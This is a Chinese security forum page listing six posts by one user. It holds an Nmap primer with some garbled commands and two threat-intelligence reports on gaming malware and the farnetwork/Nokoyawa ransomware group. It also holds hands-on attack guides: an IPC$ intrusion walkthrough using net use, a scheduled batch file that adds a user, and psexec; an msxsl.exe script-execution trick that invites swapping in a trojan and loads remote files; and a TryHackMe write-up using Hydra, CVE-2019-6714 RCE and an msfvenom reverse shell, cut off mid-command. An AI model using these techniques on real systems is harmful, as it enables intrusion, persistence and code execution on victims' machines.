跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. Nmap是Network Mapper(网络映射器)的缩写,是一个用于端口和IP扫描以及应用程序检测的开源工具。网络和系统管理员将其用于清点网络资产、管理服务升级计划和监视服务正常运行时间。 起初,它是作为一款Linux工具而开发的,但现在也可用于Windows和MacOS。用户还可以在Solaris、AIX或Amiga OS等不太常见的系统上使用Nmap。源代码以C、C++、Perl和Python等版本提供,可以定制该工具以适用于不同的环境。 管理员用Nmap进行渗透测试,检查哪些设备在其网络上运行,Nmap还使他们能够查看哪些端口是敞开的,并发现潜在的漏洞。 Nmap有什么用途? 大致说来,Nmap允许用户进行快速的网络映射,可以帮助团队优化并保护网络和数据。它被用于渗透测试、道德黑客活动以及进行其他目的。它最近的一项用途是分析网站服务器和物联网设备之间的流量。 Nmap由美国网络安全专家Gordon Lyon开发,下面将逐一介绍Nmap工具的最重要功能: 网络映射 Nmap向用户显示哪些类型的设备连接到网络并使用扫描端口。借助这个命令,用户可以看到服务器、路由器、交换机及其他设备是如何连接的,他们还可以了解它们如何协同工作,并进一步设想网络图。 端口扫描 用户可以使用Nmap检查哪些端口是敞开的,哪些端口是关闭的。这项功能对于IT团队来说非常方便,因为他们可以用它来查看防火墙是否在正常工作,对于那些想要防范端口扫描攻击的人来说,它也派得上用场。 漏洞扫描 Nmap还有助于发现网络容易受到特定威胁攻击的程度。当发现一个影响特定软件或软件版本的新漏洞时,Nmap可以显示是否有任何连接的机器使用该应用程序,然后IT团队收到警告,可以通过及时修补系统来避免网络攻击。 采集操作系统指纹 帮助IT团队发现设备上运行的所有类型的操作系统。通过这个过程,他们还可以查明这台机器是什么品牌(戴尔、宏碁或联想等)。但更有意思的是,IT团队还可以确定操作系统的补丁级别和端点的估计正常运行时间。 检查影子IT Nmap可以显示连接到网络的机器的类型和位置,这有助于管理员发现任何未经正式授权就连接到其网络的设备(影子IT)。影子IT通常是隐藏的,即使这些机器不一定是恶意的,它们也可能是整个系统面临的一个风险因素,危险在于设备不包括在网络安全程序中,享受不到补丁管理策略的益处等。 服务发现 与其他映射工具不同,Nmap有助于发现网络中每个设备的角色。它显示哪个设备是邮件或网站服务器、哪个是存储设备、哪个是数据库存储库等。此外,Nmap还显示正在运行中的应用程序,甚至显示使用中的应用程序版本。 如何在Linux中使用Nmap? Linux用户可以使用来自Insecure.Org的二进制软件包或者安装发行版的源代码。 •二进制软件包通常是一种安装起来更快速、更轻松的选择。但是它们必须稍加定制,才能使用发行版的标准目录路径。此外,这些软件包支持定期管理,以便对系统上的软件进行升级、卸载或审计。然而,发行版创建的软件包总是落后于Nmap.Org源版本,这显然是一个缺点,即使大多数Linux发行版保持相当频繁的更新节奏。 •使用源代码安装可以让用户更好地控制如何为其系统开发和定制Nmap,可以在官方Nmap页面(https://nmap.org/book/inst-source.html)上找到更多的相关信息。 如何在Windows上运行Nmap? 自2000年发布以来,Windows版本已成为使用Nmap的第二大流行平台。Windows用户可以在安装Nmap的三种方法中进行选择: •Windows自安装程序——这是最容易使用的选项,它是大多数用户青睐的选择。它还使用户能够安装Zenmap GUI及其他工具。 •命令行Zip二进制文件——Nmap版本将Windows命令行二进制文件和关联文件合并到Zip压缩包中。另一方面,没有图形化界面,所以用户必须打开DOS/命令窗口来运行exe文件。 •从源代码编译——对于那些愿意帮助开发Nmap的人来说,从源代码编译是最好的选择。为此,你需要Microsoft Visual C++ 2019。任何Visual Studio 2019版本都可以使用,包括免费的Visual Studio 2019社区版。 可以在这里(https://nmap.org/download.html)找到这三种选择的更多信息和安装步骤。 如何在MacOS上运行Nmap? 用户可以使用面向Apple macOS (x86-64)平台的Nmap二进制文件,它作为含有安装程序的磁盘映像文件而存在。安装程序支持Nmap、Zenmap、Ncat和Ndiff,这些程序在Mac OS X 10.9和其他更新版本上进行了测试。 MacOS用户也有安装Nmap的更多选择: •可执行安装程序——这是在Mac设备上安装Nmap或Zenmap的最简单方法。 •从源代码编译——这需要苹果的开发工具Xcode。因为它不是默认安装,所以必须从Mac应用程序商店免费下载。 •使用第三方软件包——在MacOS上安装Nmap的第三种选择是使用一个打包Unix软件的系统。Nmap官方页面推荐使用Fink或MacPorts。 与Windows一样,在MacOS上运行Nmap的第一步是从这里(https://nmap.org/download.html#macosx)下载。然后按照操作说明(https://nmap.org/book/inst-macosx.html),在MacOs上正确安装和运行Nmap。 除Nmap之外的另外5款开源网络扫描工具 Nmap可能是最出名的网络扫描工具,但它肯定不是唯一的。下面是另外一些主流的类似选择: •Metasploit框架 Metasploit起初是一个开源渗透测试工具。它现在是一个商业网络扫描工具,用于网络漏洞检测。 •Snort Snort是一个开源免费的网络入侵检测工具。它基于协议分析和内容检查,可以检测不同类型的网络漏洞(比如蠕虫),并且可以扫描端口。 •OpenSSH 这个开源工具专门用于UNIX环境。SSH是Secure Shell的缩写,在不受信任的主机之间通过不安全的网络链路建立安全的加密通信机制。它通过加密网络流量来消除诸多网络问题:窃听不可信的连接和劫持两台主机之间的连接。 •OpenVAS 这是另一个免费的网络安全扫描工具。它提供全面的网络扫描、网站服务器和应用程序扫描,还提供WordPress扫描。 •Angry IP Scanner 另外,开源工具Angry IP Scanner不仅提供IP地址扫描,还提供端口扫描。使用该工具可以访问主机名、NetBIOS、MAC地址和工作组信息等信息。 系统管理员最常用的5个Nmap命令 基本扫描 •Ping扫描——使用>nmap-sp192.168.1.1/24显示连接到网络的全部设备。 •扫描单个主机——使用>nmap scanme.nmap.org扫描一个主机,以扫描1000个密集使用的端口,这些端口被SQL、SMTP、apache等服务使用。 版本扫描 在进行渗透测试时,IT团队需要找出正在使用的应用程序版本,然后,他们可以搜索通用漏洞披露(CVE)数据库中的现有漏洞,以查找服务的某个版本,进而测试网络对它的响应。 使用'-sV'命令进行版本扫描:>nmap-sV scanme.nmap.org。 进攻性扫描 ' -A '参数允许操作系统检测、版本检测、脚本扫描和跟踪路由。虽然进攻性扫描提供了比常规扫描了更好的信息,但它们发出的探针(probe)更多。对于系统管理员来说,安全审计期间更容易检测到它们。要执行进攻性扫描,请使用> nmap -A scanme.nmap.org。 扫描多个主机 多主机扫描可以帮助那些管理大型网络基础设施的人。有四种方法可以使用这个选项: •在一行中输入所有的IP地址,以便一次性扫描所有主机:>nmap192.164.1.1 192.164.0.2 192.164.0.2。 •输入星号(*)表示一次性扫描所有子网:>nmap192.164.1.*。 •不要键入整个域名,使用逗号分隔地址结尾:>nmap192.164.0.1,2,3,4。 •输入连字符表示IP地址范围:>nmap192.164.0.0—255。 端口扫描 由于端口扫描是Nmap的主要功能之一,所以有不止一种方法来使用它: •使用'-p'参数进行单端口扫描:>nmap-p973 192.164.0.1。 •如果指定端口类型,Nmap允许你扫描查找关于特定类型连接的数据:>Nmap-p T:7777, 973 192.164.0.1。 •如果你想扫描整个范围的端口,用连字符区分它们:>nmap-p76—973 192.164.0.1。 •使用'-top-ports'标志来指定要扫描的前n个端口:>nmap-top-ports10 scanme.nmap.org。
  2. 0x01 ipc$的定义 IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 0x02 ipc$与空连接,139,445端口,默认共享的关系 ipc$与空连接: 不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了. 许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟). ipc$与139,445端口: ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的. ipc$与默认共享 默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) 0x03 ipc$入侵实战 1.实验环境: .攻击机:win7x64 IP:192.168.1.101 靶机: win2003 ip:192.168.1.108 2.通过扫描器扫描IPC$弱口令连接: 这里推荐大家用ntscan或者溯雪和x-scan,porscan等扫描器 3.通过net use 建立一个非空连接: 连接域backlion的ipc$: net use \\192.168.1.108\c$ “12345@12345qw” /user:backlion\administrator net use \\192.168.1.108\c$ 123456 /user:administrator //建立的非空连接 或者 net use \\192.168.1.108\c$ " 123456" /user:administrator //建立的非空连接 net use \\192.168.1.108\c$ "" /user:administrator //空连接,无密码 4.这里准备上传一个建立bk账号的批处理: d:\user.bat 文件内容为:net user bk bk123 /add 注:这里也可以上传MSF下生成的exe,上传到靶机上执行,然后反弹出shell,更能很好地操作。 5.通过copy命令上传本地攻击机的批处理文件到目标靶机的c$上,也就是靶机的c:\ copy user.bat \\192.168.1.108\c$ 注意:文件下载 copy \\192.168.1.108\c$\user.bat user.bat 6.查看目标靶机的时间: net time \\192.168.1.108 7.通过at命令在特定时间执行批处理文件: at \\192.168.1.108 12:13:00 c:\user.bat 6.在目标靶机上发现账号已成功添加执行: 8.其他命令: 将目标共享建立一个映射Z盘: net use z: \\192.168.1.108\c$ 查看已建立的会话: net use 删除会话连接: 9.通过psexec工具进行会话连接执行 psexec.exe \\192.168.1.108 cmd //前提是需要建立一个空连接或者非空连接 psexec.exe \\192.168.1.108 cmd -u administrator -p 123456 //不需要建立空连接 然后就可以在目标靶机上任意执行命令: 10.通过wmiexec.vbs进行远程会话执行: csript.exe wmiexec.vbs /shell 192.168.1.108 administrator 123456 然后执行一些系统命令: 0x04 ipc$连接失败的原因 以下5个原因是比较常见的: 1)你的系统不是NT或以上操作系统; 2)对方没有打开ipc$默认共享 3)对方未开启139或445端口(惑被防火墙屏蔽) 4)你的命令输入有误(比如缺少了空格等) 5)用户名或密码错误(空连接当然无所谓了) 另外,你也可以根据返回的错误号分析原因: 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号51,Windows 无法找到网络路径 : 网络有问题; 错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 错误号1326,未知的用户名或错误密码 : 原因很明显了; 错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验
  3. 随着收益和玩家数量(超过30亿)的增加,游戏行业也成为攻击者的目标,尤其是玩家们期待已久的热门游戏经常被用作恶意活动的诱饵。截至2022年,近四分之一的玩家是未成年人,他们更容易成为攻击者的猎物。 分析方法 为了深入了解当前与游戏相关的网络安全风险,卡巴斯基对针对游戏社区的普遍威胁进行了全方位研究。从伪装成游戏应用、mod和作弊的威胁到对该领域最活跃的恶意软件家族的功能分析。他们还分析了使用各种游戏名称和游戏平台作为诱饵的网络钓鱼页面。 本文的分析利用了来自卡巴斯基安全网络(KSN)的数据,这是一个处理卡巴斯基用户自愿分享的匿名网络威胁相关数据的系统。分析时间段从2022年7月1日到2023年7月1日。 研究人员除了选择在流媒体平台(如Origin和Steam)上下载或准备发布的排名前14款游戏,还分析了与平台无关的游戏进行研究。 游戏列表是基于互联网上最受欢迎游戏的几个排名。他们重点分析了手机版和桌面版《我的世界》《Roblox》《反恐精英:全球进攻》(CS:GO)、《绝地求生》(PUBG),《霍格沃茨遗产》《远古防御2》(DOTA 2),《英雄联盟》《魔兽世界》《Apex传奇》《暗黑破坏神4》《星球大战绝地求生》《塞尔达传说》《博德之门3》和《最终幻想XVI》相关的威胁。 威胁分析 在过去的一年里(2022年7月1日至2023年7月1日),卡巴斯基总共检测到4076530次与游戏相关的桌面感染,影响着全球192456名玩家。 最常见的威胁是下载程序(89.70%),其次是广告软件(5.25%)和特洛伊木马(2.39%)。 作为诱饵,使用最多的游戏是《我的世界》,占70.29%,其次是《Roblox》(20.37%)、《反恐精英:全球攻势》(4.78%)和《PlayerUnknown’s Battlegrounds》(2.85%)。 卡巴斯基的移动解决方案检测到436786次与游戏相关的感染尝试,影响了84539名用户。 《我的世界》用户(90.37%)是手机恶意软件的最大目标,其次是PlayerUnknown的《绝地求生》(5.09%)、《Roblox》(3.33%)和《Baldur’s Gate》(0.68%)。 电脑版统计方面,《我的世界》仍然是最受攻击者欢迎的目标。从2022年7月1日到2023年7月1日,卡巴斯基解决方案检测到4076530次下载尝试,共涉及30684个独特文件,这些文件以流行游戏或mod,作弊和其他游戏相关软件的名义传播,影响了全球192456名用户。这些文件大多是被称为“下载器”的无用软件(89.70%)。这类软件本身并不危险,但它会将包括恶意软件在内的各种其他程序下载到设备上。广告软件(5.25%)和木马(2.39%)也位列桌面游戏相关威胁的前三名。 2022年7月1日至2023年7月1日,全球十大流行游戏威胁 在选取的14款游戏中,《我的世界》(70.29%)仍然是最受攻击者欢迎的游戏。这款沙盒游戏在2023年拥有超过1.6亿的月活跃玩家,并且仍然是世界上玩得最多的电脑游戏之一。过去一年,利用这款游戏作为诱饵的威胁影响着全球130619名用户。 在30367名用户的电脑上,恶意软件和不受欢迎的软件在文件名中提到Roblox(第二大目标游戏),引发了20.37%的警报,其次是反恐精英:全球攻势(4.78%)、绝地求生(2.85%)、霍格沃茨遗产(0.60%)、DOTA 2(0.45%)和英雄联盟(0.31%)。 2022年7月1日至2023年7月1日,按相关威胁检测数量排名的游戏 从2022年7月1日到2023年7月1日,受相关威胁影响的用户数量 2022年7月1日至2023年7月1日期间,按被作为诱饵来排名的游戏 与手机游戏相关的威胁 自疫情以来,在智能手机和平板电脑等移动设备上玩视频游戏的移动游戏用户数量激增,尤其是在美国和亚太地区。根据Statista的数据,到2027年,手机游戏玩家的数量将达到23亿。 虽然有些游戏的手机版本在发布后不久甚至在开发阶段就被关闭了,但不时会出现号称是手机改编的版本游戏,攻击者正是利用游戏玩家迫切想要玩的心理进行诱饵攻击。 从2022年7月1日到2023年7月1日,卡巴斯基解决方案检测到436786次试图感染84539名用户的移动设备。大多数被调查的游戏至少有一次被用作手机玩家的诱饵。 从2022年7月1日到2023年7月1日,具有威胁的游戏排名 《我的世界》用户再次成为主要攻击目标,90.37%的攻击与这款游戏有关,这些攻击影响了80128名玩家。 比如,印度尼西亚的手机游戏玩家成为攻击者的目标,他们使用《我的世界》作为Trojan.AndroidOS.Pootel.a的网关,当应用程序在用户手机上启动时,会在另一个应用市集(Application Marketplace)中打开《我的世界》页面。 然后,通过使用恶意代码,它开始悄悄地注册手机用户。为了获取电话号码(这是完成订阅所必需的),应用程序使用谷歌电话号码提示API。然后,它在一个不可见的窗口中打开订阅激活页面,并将收到的用户号码插入到相应的字段中。之后,它点击Subscribe按钮,从传入的文本消息中截取确认代码,并将其粘贴到确认页面上的必填字段中。 研究还显示,伊朗的《我的世界》手机玩家被攻击次数最多,在这个国家,140482个警报被触发,影响了54467个《我的世界》玩家。 《绝地求生:大逃杀》是卡巴斯基发现的第二大最受攻击者欢迎的手机游戏,占所有警报的5.09%,其中大部分来自俄罗斯联邦的玩家。 Roblox(3.33%)在检测数量上排名第三,但在受影响用户数量上排名第二。其中一个针对Roblox粉丝的恶意软件家族是SpyNote间谍木马,它以mod的名义在用户中传播。它具有许多间谍功能,例如记录键盘敲击,记录屏幕和播放手机摄像头的视频,它还可以模仿谷歌和Facebook的官方应用程序,诱骗用户泄露密码。 排名第四的手机游戏是《博德之门》(Baldur’s Gate),这是一款目前还没有正式手机版本的游戏。大多数受影响的玩家位于俄罗斯联邦、巴西和土耳其。 从2022年7月1日到2023年7月1日,威胁用户游戏的排名 网络钓鱼活动 接下来,我们将深入分析14款游戏以及其他游戏作为诱饵的网络钓鱼活动。 虚假游戏推广页面 伪装成流行游戏的恶意和不受欢迎的软件通常由提供盗版游戏的第三方网站传播。在下面的截图中,你可以看到这类网站的例子,它们提供“免费”下载Atomic Heart, CS:GO和Euro Truck Simulator。 其中一些页面在下载按钮下方显示了相对较高的下载数量,很可能向用户证明该软件是安全的。点击这个按钮会下载一个存档文件,其中可能包含不需要的甚至是危险的软件,但不一定是游戏本身。 寻找游戏账号 由于大多数游戏允许用户购买和出售有价值的游戏道具,游戏账户自然而然成为攻击者紧盯的一个有利可图的目标,尤其是那些包含大量热门游戏以及关联信用卡的账户。 游戏中最受欢迎的诱惑之一便是免费赠送游戏内道具或皮肤。下图报价很可能会导致用户的Steam或Riot Games账户被盗。骗术很简单,要获得赠品,用户必须登录你的账户,这意味着在网络钓鱼网站上输入用户凭据。 《反恐精英》的粉丝经常会被“免费”皮肤所吸引,这在游戏中可能是很有价值的财产。去年,一名用户的账户被黑客攻击,损失了价值200万美元的皮肤。不幸的是,那些上当受骗的人将失去他们已经拥有的东西,而不是免费获得一个有价值的皮肤。 另一个网站提供名为“反恐精英2有限测试”的东西,但只针对那些愿意链接他们的Steam账户的人。但是,如果用户链接了它,它将被泄露,并且无法访问游戏的测试版。 除了游戏账户,攻击者还瞄准了玩家的社交媒体资料。这些信息对欺诈者来说很有价值,因为它们通常包含大量个人数据和相关的付款细节。此外,社交媒体账户经常被用来登录包括在线游戏在内的其他服务。最后,通过一个被盗的社交媒体账户,攻击者可以针对受害者的朋友和亲属进行各种诈骗。 在上面的截图中,钓鱼者用游戏内的赠品引诱PUBG玩家。如果要参与,你需要登录你的Facebook、X(以前的twitter)或虚假网站上的其他社交媒体账户。一旦你这么做了,你的登录凭据就会被盗。 类似的诱饵也被用于诈骗,用户需要向攻击者支付一定金额,才能获得礼品卡、游戏内货币或全新游戏。通常,在这样的网站上,你需要首先输入一些个人信息并填写一个简单的调查。然后显示一个页面,告诉你你赢得了一个有价值的奖品。在你认领它之前,唯一要做的就是支付一小笔运费。然而,这一通操作下来,受害者不仅损失了支付的钱,而且还泄露了他们的银行卡。 在下面的截图中,你可以看到这种骗局的典型例子。攻击者向用户提供“免费的Apex传奇礼品卡”。要获得这些奖品,你必须首先输入你的用户名,然后回答几个问题,然后支付来获得奖品。 对于Roblox玩家,诈骗者通常会提供免费赚取、生成或获得一些Robux(Roblox中的游戏货币)。与Apex Legends的例子类似,如果用户试图提取“赚到的”或生成的钱,他们就必须在一个欺诈网站上付款。 诈骗者经常采取的另一个选择是为热门游戏提供高额折扣。在下面的截图中,一个流氓网站假装以28.7美元的价格出售《星球大战绝地武士:幸存者》,这还不到官方价格的一半。 如果用户付费,他们很可能什么也得不到,而且还会损失他们的钱并泄露银行卡信息。 总结 游戏平台一直是攻击者的目标,因为它们存储了大量的个人和财务数据,从付款细节到电子邮件地址以及其他个人身份信息。欺诈者通过窃取游戏中的物品和货币来赚钱,这些物品和货币通常在现实世界也有价值。 攻击者越来越多地利用热门游戏,比如《我的世界》(Minecraft)和Roblox,瞄准年轻用户,引诱缺乏网络安全意识、缺乏经验的电脑用户使用恶意或不需要的软件。 综上所述,年轻玩家的父母必须对孩子进行安全教育,这样他们才能帮助保护自己的孩子。网上有大量资源可以帮助新玩家远离网络攻击。 卡巴斯基建议用户: 1.时刻关注孩子的网络活动,经常与他们一起看他们最喜欢的电视剧或听音乐。 2.如果你的孩子喜欢某款游戏,有必要和孩子讨论安全问题,向他们解释网络安全的意义,向孩子们解释什么是敏感信息,为什么这些信息只能和他们在现实生活中认识的人分享。 3.只从Steam、Apple App Store、Google Play或Amazon Appstore等官方商店下载游戏。这些市场上的游戏并非100%安全,但它们至少会经过技术人员的检查,并且存在某种筛选系统,并非所有应用都能上架。 4.如果你想购买的游戏不能从应用商店购买,只能从官方网站下载,仔细检查网站的网址,确保它是真实的。为了进一步保护您的购买,请使用网上银行保护,例如卡巴斯基产品中的安全货币功能。 谨防网络钓鱼活动和不熟悉的玩家,不要打开通过电子邮件或游戏聊天收到的链接,除非你信任发件人。不要打开陌生人给你的文件。 不要下载盗版软件或任何其他非法内容,即使你从一个合法的网站重定向到它。只在官方网站上购买游戏更安全。 使用强大、可靠的安全解决方案,将不会减慢你的电脑,同时保护您免受恶意软件,网络钓鱼和其他威胁。例如,卡巴斯基高级版可以与Steam和其他游戏服务顺利合作,并可以保护计算机和移动设备。
  4. 1.需要用到微软工具MSXSL.exe,msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令,其下载地址为: https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714 2.执行该工具需要用到2个文件,分别为XML及XSL文件,其命令如下: msxsl.exe test.xml exec.xsl test.xml: <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="exec.xsl" ?> <customers> <customer> <name>Microsoft</name> </customer> </customers>   exec.xsl <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); //这里可以改造为执行你的木马文件如: // var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & shell.exe"); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml(.)"/> </xsl:template> </xsl:stylesheet>    3.最终执行结果为: 4.也可以远程执行: msxsl.exe https://raw.githubusercontent.com/backlion/demo/master/test.xml https://raw.githubusercontent.com/backlion/demo/master/exec.xsl
  5. Nokoyawa勒索软件即服务(RaaS)的运营商是一伙被称为“farnetwork”的威胁组织,多年来通过帮助JSWORM、Nefilim、Karma和Nemty等勒索软件团伙开发恶意软件和管理运营积累了经验。 网络安全公司Group-IB近日的一份报告深入剖析了farnetwork的活动,以及阐述他们是如何逐渐成为勒索软件行当中异常活跃的玩家。 farnetwork向威胁情报分析师们披露了细节,这些细节可以将他们与2019年开始的多起勒索软件活动和一个可以访问多个企业网络的僵尸网络联系起来。 据Group-IB向IT安全外媒体出示的报告显示,这伙威胁组织拥有多个用户名(比如farnetworkl、jingo、jsworm、razvrat、piparkuka和farnetworkitand),并活跃于多个俄语黑客论坛,试图招募加盟团伙从事各种勒索软件活动。 图1. 威胁分子情况简介(图片来源:Group-IB) 今年3月,farnetwork开始为其基于Nokoyawa加密恶意软件的勒索软件即服务项目寻找加盟团伙。然而,Group-IB的威胁情报分析师表示,这伙威胁组织明确表示,他们没有参与开发Nokoyawa的工作。 开展RaaS业务并没有持续多久,farnetwork宣布将退出该领域,并在10月份关闭了Nokoyawa RaaS项目,此前该项目泄露了35名受害者的数据。 图2. Nokoyawa公布受害者(图片来源:Group-B) 然而Group-IB认为,这伙威胁组织的策略是改变方向,以一个新的品牌重新开始,而这个举动正是其中的一部分。 攻击活动管理方 在Nokoyawa勒索软件中,farnetwork扮演了项目负责人、加盟团伙招聘者、暗网论坛上RaaS的推广者和僵尸网络管理方等多重角色。 该僵尸网络使加盟团伙能够直接访问已经受到攻击的网络。为此,加盟团伙将向僵尸网络的所有者支付所收取赎金的20%,而勒索软件的所有者将获得15%的分成。 考虑到其他项目支付高达85%的赎金作为分成,对勒索软件加盟团伙来说,65%的分成是糟糕的交易,但成本已涵盖了找到一个合适的目标并闯入其中所耗费的精力。 farnetwork测试加盟团伙候选对象的办法是,向它们提供从地下日志云(UCL)服务获得的几个公司账户凭据,UCL服务出售由RedLine、Vidar和Raccoon等信息窃取恶意软件窃取的日志。 预计这些加盟团伙会升级其在网络上的权限,窃取文件,运行加密程序,并要求支付赎金。 图3. 网络访问凭据面板(图片来源:Group-IB) 以往活动时间表 Group-IB已经能够追踪到farnetwork早在2019年1月的活动,发现了它与JSWORM、Nemty、Nefilim和Karma等勒索软件团伙有关联。 2019年4月,farnetwork在Exploit黑客论坛上大肆推广JSWORM RaaS项目,这伙威胁组织对RazvRAT恶意软件大打广告。 图4. 推销RazvRAT恶意软件(图片来源:Group-IB) 2019年8月,在JSWORM关闭后,这伙威胁组织转而在至少两个地下论坛上推广Nemty。 2020年3月,Nefilim勒索软件浮出水面,这时它作为一个新的加盟项目示人,拥有名为Corporate Leaks的数据泄露网站。次月,farnetwork宣布Nemty将私有化。 图5. Nefilim公布受害者名单(图片来源:Group-B) 2021年6月,改头换面的Nefilim(名叫Karma)出现在世人面前,2021年7月Nefilim又悄无声息。在此期间,farnetwork在寻找有关思杰VPN零日漏洞的信息。 2023年2月,farnetwork转向RAMP论坛,声称他们与Nokoyawa勒索软件合作,充当对方的招聘者和访问管理方。 图6. 在RAMP上推广RaaS(图片来源:Group-IB) 从Group-IB的研究结果来看,farnetwork被怀疑参与了开发上述几种勒索软件的工作,或至少参与了这几种勒索软件的改进和管理。它与Nefilim和Karma的关系最紧密,它们都被认为是Nemty的进化版。 图7. farnetwork活动时间表(Group-IB) Group-IB将不同的用户名与这同一伙威胁组织联系了起来,他们换个新名字,继续重操旧业。 建议 虽然勒索软件团伙以攻击关键行业的公司而臭名昭著,但它们对所有行业的组织都构成了威胁。除了其网络增加新成员外,farnetwork的勒索软件联盟计划还为成员提供了经过升级的工具和技术,甚至提供勒索软件投放机制。企业必须立即采取具体的步骤,以确保关键任务操作和数据的安全。我们的建议如下: •增加更多层安全:多因素身份验证(MFA)和基于凭据的访问解决方案可以帮助企业保护其关键资产和高风险用户,使攻击者更难得逞。 •通过早期检测阻止勒索软件:充分利用端点检测和响应(EDR)解决方案的行为检测功能,帮助识别跨管理端点上的勒索软件指标,及时提醒团队注意任何可疑活动,以便进一步审查。这种主动的方法有助于对端点上已知和未知的威胁进行灵活地检测、调查和补救。 •有“备份”策略:数据备份过程应该定期进行,因为它们可以减少破坏,并帮助组织在遭到勒索软件攻击后避免数据丢失。 •利用先进的恶意软件引爆解决方案:组织应该充分利用结合人工智能的先进的基于分析的解决方案来实时检测入侵。 •修补漏洞:漏洞未修补的时间越长,被网络犯罪分子利用的风险就越大,因此,应该优先考虑安全补丁。组织还应该建立一个流程,定期审查和部署最新的补丁。 •培训员工:教育员工,了解与组织的网络、资产、设备和基础设施相关的风险。人为因素仍然是网络安全的最大漏洞之一。组织应开展培训计划和安全演习,以帮助员工识别和报告网络犯罪的迹象(比如网络钓鱼电子邮件)。 •控制漏洞:不要对新出现的漏洞视而不见。每年进行一次技术审计或安全评估,以检查你的基础设施,这不仅是好习惯,还增加了亟需的保护层,持续监测基础设施的完整性和数字卫生流程。 •永远不要支付赎金:在97%的勒索软件攻击中,如果不解密软件,就不可能重新获得数据访问权。Group-IB的事件响应专家不建议急于支付赎金。 以牟利为动机的威胁组织会让你支付更多钱。即使一个攻击者返还了你的数据,另一个攻击者也会明白你愿意支付赎金,这将导致对公司的攻击次数增加,此时你能做的最正确的事情就是尽快联系事件响应专家。
  6. 前言 房间地址:https://tryhackme.com/room/hackpark 使用 Hydra 暴力破解网站登录,识别并使用公共漏洞,然后升级您在此 Windows 计算机上的权限! 建站不一定需要linux(实际上市场上大部分都是linux,本次要打的靶场是用win建站,我们通过的网站漏洞打进Windows主机 看到是人入侵Windows 使用到了MSF,看经典好像是当年的永恒之蓝漏洞 实战 靶机地址:10.10.201.235 Hackpark的引入 小丑回魂里的,我虽然没看过这个电影,但是刷过片段,还行,这里只是一个小丑,其实我也是小丑 有个联系,预测可能有XSS注入, 这里有个登录,那就是爆破了 我们看下 第一题: 九头蛇爆破账号密码 让后看第二题 Hydra 确实有很多功能,并且有许多可用的“模块”(模块的一个示例是我们上面使用的http-post-form )。 然而,这个工具不仅适用于暴力破解 HTTP 表单,还适用于其他协议,如 FTP、SSH、SMTP、SMB 等。 下面是一个迷你备忘单: 命令描述Hydra -P <单词列表> -v <ip> <协议>对您选择的协议进行暴力破解Hydra -v -V -u -L <用户名列表> -P <密码列表> -t 1 -u <ip> <协议>您可以使用 Hydra 来暴力破解用户名和密码。它将循环遍历列表中的每个组合。(-vV = 详细模式,显示登录尝试)Hydra -t 1 -V -f -l <用户名> -P <单词列表> rdp://<ip>使用密码列表攻击 Windows 远程桌面。Hydra -l <用户名> -P .<密码列表> $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=登录&testcookie=1:S =位置’为 Hydra 提出更具体的暴力请求。 我还是用burp吧 。 我前面发了很多爆破账号密码的,这里就不演示了 密码:1qaz2wsx thm连接老是断 ,等订阅结束就打htb CVE-2019-6714利用反弹shell 第三关需要用到CVE漏洞脚本+目录遍历+RCE命令执行+文件上传漏洞 看第三关 可以看到版本 我们搜一下漏洞库 果然是有XSS漏洞 不过是在3.3.8 3.3.6应该也有 CVE-2019-6714 刚开始房间也有提示 当然我们也可以找漏洞库查看 第三个答案让我们使用公共漏洞,获得对服务器的初始访问权限。 searchsploit -m aspx/webapps/46353.cs 咱们给他下到桌面上使用 nano 46353.cs 好让我们按他说的做 上传完看给的脚本下一步让我们怎么做 这里让我们目录遍历执行RCE漏洞 所以目录遍历+Rce命令执行直接弹shell了 http://10.10.201.235/?theme=../../App_Data/files 这里是win建的站 所以命令跟Linux不太一样 本篇重点MSF生成木马+winpeas提权脚本利用 来到第四关 MSF生成shell木马: msfvenom -p windows/shell_reverse_tcp 